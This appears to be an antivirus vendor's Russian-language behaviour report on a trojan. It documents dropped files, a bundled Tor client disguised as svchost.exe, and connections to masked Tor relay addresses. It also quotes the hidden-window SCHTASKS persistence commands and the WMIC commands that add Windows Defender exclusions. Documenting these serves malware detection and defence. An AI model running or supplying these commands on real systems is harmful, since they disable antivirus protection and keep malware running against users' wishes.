Trojan.Siggen12.16316

Техническая информация

Вредоносные функции

Внедряет код в

следующие пользовательские процессы:

nvidia web helper.exe

Изменения в файловой системе

Создает следующие файлы

%ProgramFiles(x86)%\windows defender\def\nlssrv.exe
%APPDATA%\nvidia\nvidia web helper.exe
%LOCALAPPDATA%\d05d272c\tor\libcrypto-1_1.dll
%LOCALAPPDATA%\d05d272c\tor\libevent-2-1-6.dll
%LOCALAPPDATA%\d05d272c\tor\libgcc_s_sjlj-1.dll
%LOCALAPPDATA%\d05d272c\tor\libssl-1_1.dll
%LOCALAPPDATA%\d05d272c\tor\libssp-0.dll
%LOCALAPPDATA%\d05d272c\tor\libwinpthread-1.dll
%LOCALAPPDATA%\d05d272c\tor\svchost.exe
%LOCALAPPDATA%\d05d272c\tor\zlib1.dll
%LOCALAPPDATA%\d05d272c\tor\torrc
%LOCALAPPDATA%\d05d272c\tor\data\state.tmp
%LOCALAPPDATA%\d05d272c\tor\data\unverified-microdesc-consensus.tmp
%LOCALAPPDATA%\d05d272c\tor\data\cached-certs.tmp
%LOCALAPPDATA%\d05d272c\tor\data\cached-microdesc-consensus.tmp
%LOCALAPPDATA%\d05d272c\tor\data\cached-microdescs.new

Удаляет следующие файлы

%LOCALAPPDATA%\d05d272c\tor\data\unverified-microdesc-consensus
%LOCALAPPDATA%\d05d272c\tor\data\cached-certs

Перемещает следующие файлы

%LOCALAPPDATA%\d05d272c\tor\data\state.tmp в %LOCALAPPDATA%\d05d272c\tor\data\state
%LOCALAPPDATA%\d05d272c\tor\data\unverified-microdesc-consensus.tmp в %LOCALAPPDATA%\d05d272c\tor\data\unverified-microdesc-consensus
%LOCALAPPDATA%\d05d272c\tor\data\cached-certs.tmp в %LOCALAPPDATA%\d05d272c\tor\data\cached-certs
%LOCALAPPDATA%\d05d272c\tor\data\cached-microdesc-consensus.tmp в %LOCALAPPDATA%\d05d272c\tor\data\cached-microdesc-consensus

Подменяет следующие файлы

%LOCALAPPDATA%\d05d272c\tor\data\cached-certs.tmp
%LOCALAPPDATA%\d05d272c\tor\data\cached-certs

Сетевая активность

Подключается к

'localhost':49172
'19#.#60.102.164':9001
'85.##8.227.163':9001
'5.#.158.75':9001
'localhost':45808
'14#.#6.57.183':9001
'19#.#2.115.102':9004
'85.##.88.177':9001

TCP

'5.#.158.75':9001
'localhost':45808
'localhost':49177
'85.##.88.177':9001
'19#.#2.115.102':9004
'14#.#6.57.183':9001
'localhost':49182

Другое

Создает и запускает на исполнение

'%APPDATA%\nvidia\nvidia web helper.exe'
'%LOCALAPPDATA%\d05d272c\tor\svchost.exe' -f torrc
'%WINDIR%\syswow64\cmd.exe' /c echo y | SCHTASKS /CREATE /SC ONLOGON /TN \"WD_DriverProfile_UpdaterOnLogon_{BB1GG3GF4F-BFF55FFEE-B5GG77G7EE-BB2BEF}\" /TR \"%ProgramFiles(x86)%\\Windows Defender\\def\\NlsSrv.exe\"' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo y | WMIC /Namespace:\\\\root\\Microsoft\\Windows\\Defender class MSFT_MpPreference call Add ExclusionPath='%ProgramFiles(x86)%\\Windows Defender\\def\\NlsSrv.exe'' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo y | WMIC /Namespace:\\\\root\\Microsoft\\Windows\\Defender class MSFT_MpPreference call Add ExclusionPath='%APPDATA%\\NVIDIA'' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo y | SCHTASKS /CREATE /SC ONCE /TN \"WD_DriverProfile_UpdaterPersistance_{BB4GG2GF4F-BFF55FFEE-B5GG99G7EE-BB3BEF}\" /TR \"%ProgramFiles(x86)%\\Windows Defender\\def\\NlsSrv.exe\" /RI 10 ...' (со скрытым окном)
'%LOCALAPPDATA%\d05d272c\tor\svchost.exe' -f torrc' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c echo y | SCHTASKS /CREATE /SC ONLOGON /TN \"WD_DriverProfile_UpdaterOnLogon_{BB1GG3GF4F-BFF55FFEE-B5GG77G7EE-BB2BEF}\" /TR \"%ProgramFiles(x86)%\\Windows Defender\\def\\NlsSrv.exe\"
'%WINDIR%\syswow64\cmd.exe' /c echo y | WMIC /Namespace:\\\\root\\Microsoft\\Windows\\Defender class MSFT_MpPreference call Add ExclusionPath='%ProgramFiles(x86)%\\Windows Defender\\def\\NlsSrv.exe'
'%WINDIR%\syswow64\cmd.exe' /c echo y | WMIC /Namespace:\\\\root\\Microsoft\\Windows\\Defender class MSFT_MpPreference call Add ExclusionPath='%APPDATA%\\NVIDIA'
'%WINDIR%\syswow64\cmd.exe' /c echo y | SCHTASKS /CREATE /SC ONCE /TN \"WD_DriverProfile_UpdaterPersistance_{BB4GG2GF4F-BFF55FFEE-B5GG99G7EE-BB3BEF}\" /TR \"%ProgramFiles(x86)%\\Windows Defender\\def\\NlsSrv.exe\" /RI 10 ...
'%WINDIR%\syswow64\cmd.exe' /S /D /c" echo y "
'%WINDIR%\syswow64\wbem\wmic.exe' /Namespace:\\\\root\\Microsoft\\Windows\\Defender class MSFT_MpPreference call Add ExclusionPath='%ProgramFiles(x86)%\\Windows Defender\\def\\NlsSrv.exe'
'%WINDIR%\syswow64\wbem\wmic.exe' /Namespace:\\\\root\\Microsoft\\Windows\\Defender class MSFT_MpPreference call Add ExclusionPath='%APPDATA%\\NVIDIA'
'%WINDIR%\syswow64\schtasks.exe' /CREATE /SC ONLOGON /TN \"WD_DriverProfile_UpdaterOnLogon_{BB1GG3GF4F-BFF55FFEE-B5GG77G7EE-BB2BEF}\" /TR \"%ProgramFiles(x86)%\\Windows Defender\\def\\NlsSrv.exe\"
'%WINDIR%\syswow64\schtasks.exe' /CREATE /SC ONCE /TN \"WD_DriverProfile_UpdaterPersistance_{BB4GG2GF4F-BFF55FFEE-B5GG99G7EE-BB3BEF}\" /TR \"%ProgramFiles(x86)%\\Windows Defender\\def\\NlsSrv.exe\" /RI 10 /ST 13:20 /DU 168